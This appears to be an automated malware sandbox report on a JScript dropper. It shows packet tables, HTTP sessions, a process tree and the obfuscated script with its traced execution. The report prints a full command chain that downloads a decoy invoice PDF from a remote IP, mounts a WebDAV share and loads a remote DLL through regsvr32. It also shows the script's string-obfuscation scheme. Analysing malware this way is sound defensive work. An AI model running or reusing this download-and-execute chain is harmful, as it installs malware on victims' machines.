Jan 10, 2025 18:35:26.026597977 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:26.026618004 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:26.026626110 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:26.026628971 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:26.026638985 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:26.026671886 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:26.027223110 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:26.027239084 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:26.027256966 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:26.027280092 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:26.027292013 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:26.027308941 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:26.027317047 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:26.027355909 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:26.028919935 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:26.107707024 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:26.297988892 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:26.804677010 CET	49703	8888	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:26.809488058 CET	8888	49703	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:26.809564114 CET	49703	8888	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:26.809803009 CET	49703	8888	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:26.814558983 CET	8888	49703	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:27.599843025 CET	8888	49703	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:27.650764942 CET	49703	8888	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:27.835407972 CET	49703	8888	192.168.2.7	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 18:35:35.103379011 CET	59321	53	192.168.2.7	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 18:35:35.103379011 CET	192.168.2.7	1.1.1.1	0xa6a2	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 18:35:35.110842943 CET	1.1.1.1	192.168.2.7	0xa6a2	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 18:35:35.987462044 CET	1.1.1.1	192.168.2.7	0xc902	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:35:35.987462044 CET	1.1.1.1	192.168.2.7	0xc902	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49702	193.143.1.205	80	5092	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 18:35:24.484946966 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 18:35:25.281188965 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 17:35:25 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 18:35:25.281217098 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 18:35:25.281413078 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 10, 2025 18:35:25.281516075 CET	1236	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]%3h}
Jan 10, 2025 18:35:25.281533003 CET	1236	IN	Data Raw: 14 ec a4 70 2c f4 e3 60 47 ae 3e 30 74 b0 23 f7 a4 d9 91 db 8d 85 7e 68 c7 42 df 76 db 71 df bc ba 78 fd f2 e2 f5 8b 8b 57 2f 9a ff 6c 7a e8 cb ae 87 a6 65 b9 fa e4 50 bb 29 f7 e6 69 b0 29 f7 b1 1b 0e 25 86 4e 6a ea 9b 13 00 00 c0 34 f8 62 09 00 Data Ascii: p,`G>0t#~hBvqxW/lzeP)i)%Nj4b/FcvQOt`{psBjK_~1DmM[9L/l4`U*;rfAnWB_)^oCeSC;i4b/FcvO
Jan 10, 2025 18:35:25.281546116 CET	672	IN	Data Raw: b5 ad f8 d4 ad f1 fa 27 f9 4d b7 ff 84 00 40 a5 55 6e 65 f8 9c 7c 32 31 34 3c 30 54 c7 d0 eb 26 86 5e a6 18 7a 3a 8c a1 ef 5d 0c 7d de c7 d0 67 5d 09 0d 62 e8 eb 26 86 ee a5 18 ba 3f 8f a1 e7 26 86 de 3e dd df 35 31 f4 c1 c5 50 8e 0d dd ae a9 6f Data Ascii: 'M@Une\|214<0T&^z:]}g]b&?&>51PoN%,.[nmk-_BW?]\r}B`Qa8zs&711bC%21gm\|c#1t*SKvk>~}h]
Jan 10, 2025 18:35:25.281557083 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 10, 2025 18:35:25.281569004 CET	1236	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}nmcy==b&
Jan 10, 2025 18:35:25.281580925 CET	1236	IN	Data Raw: f1 85 39 c6 2b c4 29 73 55 85 6a e6 63 b1 a9 66 8b 56 da 72 d7 33 af af be 3c 7f 85 be e8 e5 72 5e fd 44 a1 f9 1c a9 29 68 3e 63 5d 47 6a 7e 6c 40 7f a6 98 67 ac 10 8e 73 9f 0e 85 9f 07 90 9f 04 30 6f 7b ff e2 ea a6 1c be e5 f4 27 82 b9 b6 d5 5f Data Ascii: 9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlhcC?cC?u0X-37X_[;~Ii/MzJ*>)kz{~YjR
Jan 10, 2025 18:35:25.281594992 CET	1236	IN	Data Raw: 86 d6 94 d0 d1 93 25 6b ce b8 cc f5 50 2f ec 14 66 23 a8 29 a1 29 fd 48 06 4d 0d f4 d9 b3 67 bf ff fe fb 6f ad 5f 23 b3 bf ff 7b 6b f6 2b 4d 12 95 11 d1 b0 c5 98 24 aa 4f f7 f3 4f 97 89 7a 7a 73 ef ab 48 98 a8 fc 61 a6 e1 e6 5e ad 1c a7 72 ed 2c Data Ascii: %kP/f#))HMgo_#{k+M$OOzzsHa^r,Y,,WUB5{i_}zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$
Jan 10, 2025 18:35:25.286081076 CET	1236	IN	Data Raw: f9 a9 3d 9d 84 46 7b a8 d9 dc 6b 76 f6 e6 4a a8 99 22 4c bf 7b 78 55 29 57 f9 ec 58 ee a1 7e 90 b0 3c 45 28 ed 2c dc 7b 6c ae 50 9e 2b 5d f4 74 41 33 17 56 1e 27 f4 bb 55 cb 25 54 bf 2d c3 92 65 7e 6c 40 ff c0 80 19 a0 0e 37 d0 96 07 69 0b 9f 08 Data Ascii: =F{kvJ"L{xU)WX~<E(,{lP+]tA3V'U%T-e~l@7iG/ZU~#zF[_?sc9S`Bf=4x\]fS-=Pb.aM10C~1X\M86ts9L/`f,4;RB

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49703	193.143.1.205	8888	6700	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 18:35:26.809803009 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 18:35:27.599843025 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 17:35:27 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	12:35:21
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2808316613110627987.js"
Imagebase:	0x7ff6a53d0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	12:35:21
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\173771755320756.dll
Imagebase:	0x7ff7fc2f0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	12:35:21
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	12:35:22
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	12:35:26
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff702560000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	12:35:26
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7fc2f0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	12:35:26
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff66d470000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	12:35:26
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	12:35:26
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	12:35:27
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2096 --field-trial-handle=1764,i,5740791908415637487,12243783772582126901,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function ryjjjzmo() {	ryjjjzmo() ➔ undefined
1	yuquoeh = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var lfmitz = this[ilybvd + kkebhghoh + ghufc + sqpaevoqc + brhetff + mharl + dsizx + whoikm] ( this[ubsopycc + rugwuio + ozwsziy + ghufc + gxgcm + ilybvd + whoikm][mxxphlpcf + ghufc + brhetff + kkebhghoh + whoikm + brhetff + jdrtsetxo + rkptfyb + ynthylo + brhetff + ozwsziy + whoikm] ( ubsopycc + rugwuio + ozwsziy + ghufc + gxgcm + ilybvd + whoikm + bfnckrh + rugwuio + phsiwgiv + brhetff + rezjcgls + rezjcgls ) [sdkvlazc + brhetff + fazahp + sdkvlazc + brhetff + kkebhghoh + tbjiws] ( gpfoxgb + imnobfi + aevyskhle + yttqzw + ynkqzi + mxxphlpcf + eftyigna + sdkvlazc + sdkvlazc + aevyskhle + zdmetwt + lkqqytpv + ynkqzi + eftyigna + rugwuio + aevyskhle + sdkvlazc + tdwxbu + mxxphlpcf + hffkqf + dsizx + whoikm + ghufc + hffkqf + rezjcgls + dmfjus + pxttdo + kkebhghoh + dsizx + brhetff + rezjcgls + tdwxbu + mharl + dsizx + whoikm + brhetff + ghufc + dsizx + kkebhghoh + whoikm + gxgcm + hffkqf + dsizx + kkebhghoh + rezjcgls + tdwxbu + fzfyo + hffkqf + ozwsziy + kkebhghoh + rezjcgls + brhetff ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( auhqkib = 0 ; auhqkib < yuquoeh[rezjcgls + brhetff + dsizx + fazahp + whoikm + phsiwgiv] ; ++ auhqkib )
4	{
5	if ( lfmitz == yuquoeh[auhqkib] )
6	{
7	lfmitz = true;
8	break ;
9	}
10	}
11	if ( lfmitz !== true )
12	this[ubsopycc + rugwuio + ozwsziy + ghufc + gxgcm + ilybvd + whoikm][allvvh + aksxrrrtz + gxgcm + whoikm] ( );
13	this[ubsopycc + rugwuio + ozwsziy + ghufc + gxgcm + ilybvd + whoikm][mxxphlpcf + ghufc + brhetff + kkebhghoh + whoikm + brhetff + jdrtsetxo + rkptfyb + ynthylo + brhetff + ozwsziy + whoikm] ( ubsopycc + rugwuio + ozwsziy + ghufc + gxgcm + ilybvd + whoikm + bfnckrh + rugwuio + phsiwgiv + brhetff + rezjcgls + rezjcgls ) [ghufc + aksxrrrtz + dsizx] ( ozwsziy + ymqcn + tbjiws + dmfjus + deizma + ozwsziy + dmfjus + ilybvd + hffkqf + ewqhjusl + brhetff + ghufc + sqpaevoqc + phsiwgiv + brhetff + rezjcgls + rezjcgls + bfnckrh + brhetff + qvzyiqsu + brhetff + dmfjus + ufadayrbq + mxxphlpcf + hffkqf + ymqcn + ymqcn + kkebhghoh + dsizx + tbjiws + dmfjus + pggliurf + mharl + dsizx + ycbnfsag + hffkqf + qyjiztaz + brhetff + ufadayrbq + ubsopycc + brhetff + rkptfyb + sdkvlazc + brhetff + ievmnc + aksxrrrtz + brhetff + sqpaevoqc + whoikm + dmfjus + ufadayrbq + jdrtsetxo + aksxrrrtz + whoikm + lbybaodl + gxgcm + rezjcgls + brhetff + dmfjus + iaxbrkrk + whoikm + brhetff + ymqcn + ilybvd + iaxbrkrk + tdwxbu + gxgcm + dsizx + ycbnfsag + hffkqf + gxgcm + ozwsziy + brhetff + bfnckrh + ilybvd + tbjiws + okbchtzmg + dmfjus + phsiwgiv + whoikm + whoikm + ilybvd + twocac + deizma + deizma + ugknv + tahohj + szpwyusoe + bfnckrh + ugknv + diuern + szpwyusoe + bfnckrh + ugknv + bfnckrh + bspcrputn + wnadbyeq + slhetffa + deizma + gxgcm + dsizx + ycbnfsag + hffkqf + gxgcm + ozwsziy + brhetff + bfnckrh + ilybvd + phsiwgiv + ilybvd + pggliurf + eyhih + eyhih + sqpaevoqc + whoikm + kkebhghoh + ghufc + whoikm + dmfjus + iaxbrkrk + whoikm + brhetff + ymqcn + ilybvd + iaxbrkrk + tdwxbu + gxgcm + dsizx + ycbnfsag + hffkqf + gxgcm + ozwsziy + brhetff + bfnckrh + ilybvd + tbjiws + okbchtzmg + eyhih + eyhih + ozwsziy + ymqcn + tbjiws + dmfjus + deizma + ozwsziy + dmfjus + dsizx + brhetff + whoikm + dmfjus + aksxrrrtz + sqpaevoqc + brhetff + dmfjus + tdwxbu + tdwxbu + ugknv + tahohj + szpwyusoe + bfnckrh + ugknv + diuern + szpwyusoe + bfnckrh + ugknv + bfnckrh + bspcrputn + wnadbyeq + slhetffa + kwggmyc + pmukvihp + pmukvihp + pmukvihp + pmukvihp + tdwxbu + tbjiws + kkebhghoh + ycbnfsag + ewqhjusl + ewqhjusl + ewqhjusl + ghufc + hffkqf + hffkqf + whoikm + tdwxbu + eyhih + eyhih + ozwsziy + ymqcn + tbjiws + dmfjus + deizma + ozwsziy + dmfjus + ghufc + brhetff + fazahp + sqpaevoqc + ycbnfsag + ghufc + szpwyusoe + bspcrputn + dmfjus + deizma + sqpaevoqc + dmfjus + tdwxbu + tdwxbu + ugknv + tahohj + szpwyusoe + bfnckrh + ugknv + diuern + szpwyusoe + bfnckrh + ugknv + bfnckrh + bspcrputn + wnadbyeq + slhetffa + kwggmyc + pmukvihp + pmukvihp + pmukvihp + pmukvihp + tdwxbu + tbjiws + kkebhghoh + ycbnfsag + ewqhjusl + ewqhjusl + ewqhjusl + ghufc + hffkqf + hffkqf + whoikm + tdwxbu + ugknv + uedybw + szpwyusoe + uedybw + uedybw + ugknv + uedybw + slhetffa + slhetffa + szpwyusoe + bspcrputn + wnadbyeq + uedybw + slhetffa + pkwmwnbe + bfnckrh + tbjiws + rezjcgls + rezjcgls, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\173771755320756.dll",0,false) ➔ 0
14	}
15	sdkvlazc = "c";
16	sdkvlazc = "X";
17	sdkvlazc = "o";
18	sdkvlazc = "f";
19	sdkvlazc = "x";
20	sdkvlazc = "f";
21	sdkvlazc = "B";
22	sdkvlazc = "W";
23	sdkvlazc = "U";
24	sdkvlazc = "S";
25	sdkvlazc = "u";
26	sdkvlazc = "R";
27	tdwxbu = "\\";
28	qyjiztaz = "N";
29	qyjiztaz = "w";
30	qyjiztaz = "j";
31	qyjiztaz = "Z";
32	qyjiztaz = "L";
33	qyjiztaz = "M";
34	qyjiztaz = "f";
35	qyjiztaz = "b";
36	qyjiztaz = "T";
37	qyjiztaz = "e";
38	qyjiztaz = "g";
39	qyjiztaz = "J";
40	qyjiztaz = "x";
41	qyjiztaz = "A";
42	qyjiztaz = "Q";
43	qyjiztaz = "B";
44	qyjiztaz = "j";
45	qyjiztaz = "w";
46	qyjiztaz = "U";
47	qyjiztaz = "H";
48	qyjiztaz = "Z";
49	qyjiztaz = "x";
50	qyjiztaz = "w";
51	qyjiztaz = "k";
52	gpfoxgb = "R";
53	gpfoxgb = "E";
54	gpfoxgb = "K";
55	gpfoxgb = "b";
56	gpfoxgb = "p";
57	gpfoxgb = "T";
58	gpfoxgb = "I";
59	gpfoxgb = "r";
60	gpfoxgb = "M";
61	gpfoxgb = "R";
62	gpfoxgb = "s";
63	gpfoxgb = "y";
64	gpfoxgb = "g";
65	gpfoxgb = "d";
66	gpfoxgb = "T";
67	gpfoxgb = "r";
68	gpfoxgb = "V";
69	gpfoxgb = "E";
70	gpfoxgb = "B";
71	gpfoxgb = "T";
72	gpfoxgb = "H";
73	tahohj = "m";
74	tahohj = "z";
75	tahohj = "f";
76	tahohj = "B";
77	tahohj = "T";
78	tahohj = "t";
79	tahohj = "i";
80	tahohj = "z";
81	tahohj = "Q";
82	tahohj = "K";
83	tahohj = "A";
84	tahohj = "l";
85	tahohj = "V";
86	tahohj = "v";
87	tahohj = "G";
88	tahohj = "q";
89	tahohj = "K";
90	tahohj = "D";
91	tahohj = "I";
92	tahohj = "C";
93	tahohj = "K";
94	tahohj = "U";
95	tahohj = "v";
96	tahohj = "p";
97	tahohj = "d";
98	tahohj = "I";
99	tahohj = "W";
100	tahohj = "I";
101	tahohj = "J";
102	tahohj = "L";
103	tahohj = "Q";
104	tahohj = "a";
105	tahohj = "D";
106	tahohj = "c";
107	tahohj = "o";
108	tahohj = "e";
109	tahohj = "9";
110	ynkqzi = "_";
111	uedybw = "M";
112	uedybw = "c";
113	uedybw = "b";
114	uedybw = "G";
115	uedybw = "v";
116	uedybw = "M";
117	uedybw = "f";
118	uedybw = "p";
119	uedybw = "l";
120	uedybw = "f";
121	uedybw = "C";
122	uedybw = "B";
123	uedybw = "e";
124	uedybw = "A";
125	uedybw = "G";
126	uedybw = "E";
127	uedybw = "z";
128	uedybw = "y";
129	uedybw = "T";
130	uedybw = "T";
131	uedybw = "l";
132	uedybw = "b";
133	uedybw = "o";
134	uedybw = "A";
135	uedybw = "v";
136	uedybw = "O";
137	uedybw = "W";
138	uedybw = "u";
139	uedybw = "h";
140	uedybw = "i";
141	uedybw = "t";
142	uedybw = "7";
143	rugwuio = "D";
144	rugwuio = "j";
145	rugwuio = "a";
146	rugwuio = "K";
147	rugwuio = "o";
148	rugwuio = "A";
149	rugwuio = "O";
150	rugwuio = "d";
151	rugwuio = "l";
152	rugwuio = "J";
153	rugwuio = "F";
154	rugwuio = "J";
155	rugwuio = "i";
156	rugwuio = "H";
157	rugwuio = "x";
158	rugwuio = "S";
159	zdmetwt = "h";
160	zdmetwt = "a";
161	zdmetwt = "R";
162	zdmetwt = "k";
163	zdmetwt = "u";
164	zdmetwt = "n";
165	zdmetwt = "J";
166	zdmetwt = "S";
167	zdmetwt = "p";
168	zdmetwt = "C";
